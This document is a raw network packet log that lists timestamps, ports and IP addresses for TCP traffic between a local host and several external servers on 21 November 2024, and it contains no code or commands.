Nov 21, 2024 03:09:19.877696037 CET	80	49840	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:19.877804041 CET	49840	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:19.877808094 CET	49808	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:19.878031015 CET	49840	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:19.899199963 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:19.997515917 CET	80	49840	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:20.018815994 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:20.018896103 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:20.019932032 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:20.139396906 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:20.934906960 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:20.935427904 CET	49835	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:20.935460091 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:20.935894012 CET	49835	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:20.935900927 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.021990061 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.022644043 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.022681952 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.023102999 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.023112059 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.051582098 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.052174091 CET	49839	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.052239895 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.052808046 CET	49839	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.052820921 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.087469101 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.087897062 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.087918997 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.088577032 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.088588953 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.169866085 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.170355082 CET	49838	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.170397043 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.170806885 CET	49838	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.170818090 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.282516003 CET	80	49840	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:21.282665014 CET	49840	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:21.285455942 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:21.371901035 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.375042915 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.375099897 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.375197887 CET	49835	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.375219107 CET	49835	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.375231028 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.375240088 CET	49835	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.375245094 CET	443	49835	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.377732038 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.377788067 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.380395889 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.382628918 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.382647991 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.405508041 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:21.405649900 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:21.406109095 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:21.436117887 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.436137915 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.436155081 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.436171055 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.436187029 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.436213970 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.436254025 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.438802004 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.438817024 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.438832045 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.438848019 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.438863039 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.438873053 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.438888073 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.438906908 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.463150978 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.463182926 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.463243961 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.463283062 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.463325977 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.463504076 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.463527918 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.463538885 CET	49836	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.463551044 CET	443	49836	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.466887951 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.466972113 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.467051029 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.467164040 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.467183113 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.499406099 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.499558926 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.499651909 CET	49839	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.499826908 CET	49839	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.499826908 CET	49839	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.499852896 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.499876976 CET	443	49839	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.502044916 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.502093077 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.502156019 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.502290964 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.502305984 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.525537014 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:21.531260014 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.531392097 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.531469107 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.531615019 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.531615019 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.531651974 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.531678915 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.533658981 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.533703089 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.533772945 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.533874989 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.533893108 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.556338072 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.556451082 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.556530952 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.560533047 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.614744902 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.620909929 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.624401093 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.624520063 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.624610901 CET	49838	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.633270979 CET	49838	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.633296967 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.633313894 CET	49838	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.633321047 CET	443	49838	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.636802912 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.636920929 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.636986017 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.641000032 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.641127110 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.641192913 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.649399042 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.649508953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.649511099 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.649547100 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.649586916 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.649625063 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.657763004 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.657871008 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.657931089 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.666169882 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.666249037 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.666306019 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.674527884 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.674654961 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.674707890 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.682936907 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.683048964 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.683109045 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.686638117 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:21.686665058 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:21.691335917 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.691471100 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.691518068 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.699711084 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.699836969 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.699887037 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.708040953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.708142996 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.708219051 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.716396093 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.770952940 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.777139902 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.777215958 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.777266026 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.781291962 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.833447933 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.838129044 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.838226080 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.838269949 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.840646982 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.840749979 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.840790987 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.845716953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.845798016 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.845849037 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.850775003 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.850892067 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.850939989 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.855818033 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.855931044 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.855976105 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.860889912 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.861156940 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.861203909 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.865948915 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.866049051 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.866099119 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.871005058 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.871113062 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.871160984 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.876060009 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.876173973 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.876221895 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.881122112 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.881231070 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.881283998 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.886166096 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.886279106 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.886327028 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.891319036 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.891421080 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.891467094 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.896334887 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.896469116 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.896517992 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.901361942 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.901462078 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.901503086 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.906405926 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.906522989 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.906567097 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.911456108 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.911583900 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.911623001 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.916558027 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.916662931 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.916702986 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.921588898 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.921699047 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.921736002 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.926659107 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.926776886 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.926819086 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.931706905 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.931819916 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.931866884 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.936728001 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.978339911 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.978389025 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.978436947 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.980834007 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.980882883 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:21.980942011 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.985904932 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:21.985960960 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.039453030 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.039546013 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.039597034 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.040808916 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.040879965 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.040925026 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.043663979 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.043780088 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.043817043 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.046382904 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.046493053 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.046540976 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.049191952 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.049288988 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.049330950 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.051949978 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.051997900 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.052042961 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.054636002 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.054732084 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.054771900 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.057295084 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.057401896 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.057440996 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.059917927 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.060025930 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.060067892 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.063575029 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.063685894 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.063730955 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.065201998 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.065290928 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.065331936 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.067852974 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.067964077 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.068015099 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.070489883 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.070638895 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.070687056 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.073108912 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.073236942 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.073276043 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.075766087 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.075869083 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.075905085 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.078378916 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.078479052 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.078519106 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.081034899 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.081125975 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.081172943 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.083690882 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.083784103 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.083823919 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.086313963 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.086448908 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.086488008 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.088947058 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.089072943 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.089114904 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.091595888 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.091716051 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.091763973 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.094242096 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.094341040 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.094383955 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.096885920 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.096998930 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.097034931 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.099523067 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.099639893 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.099678993 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.102160931 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.102263927 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.102300882 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.104844093 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.104922056 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.104959965 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.107420921 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.107526064 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.107572079 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.110003948 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.110141993 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.110188961 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.112552881 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.161566019 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.179578066 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.179656029 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.179696083 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.180824041 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.180948019 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.180988073 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.183357000 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.183439970 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.183480024 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.185761929 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.185869932 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.185909033 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.188313007 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.188419104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.188472033 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.240509987 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.240637064 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.240684032 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.240997076 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.241094112 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:22.241136074 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:22.242551088 CET	80	49841	34.116.198.130	192.168.2.5
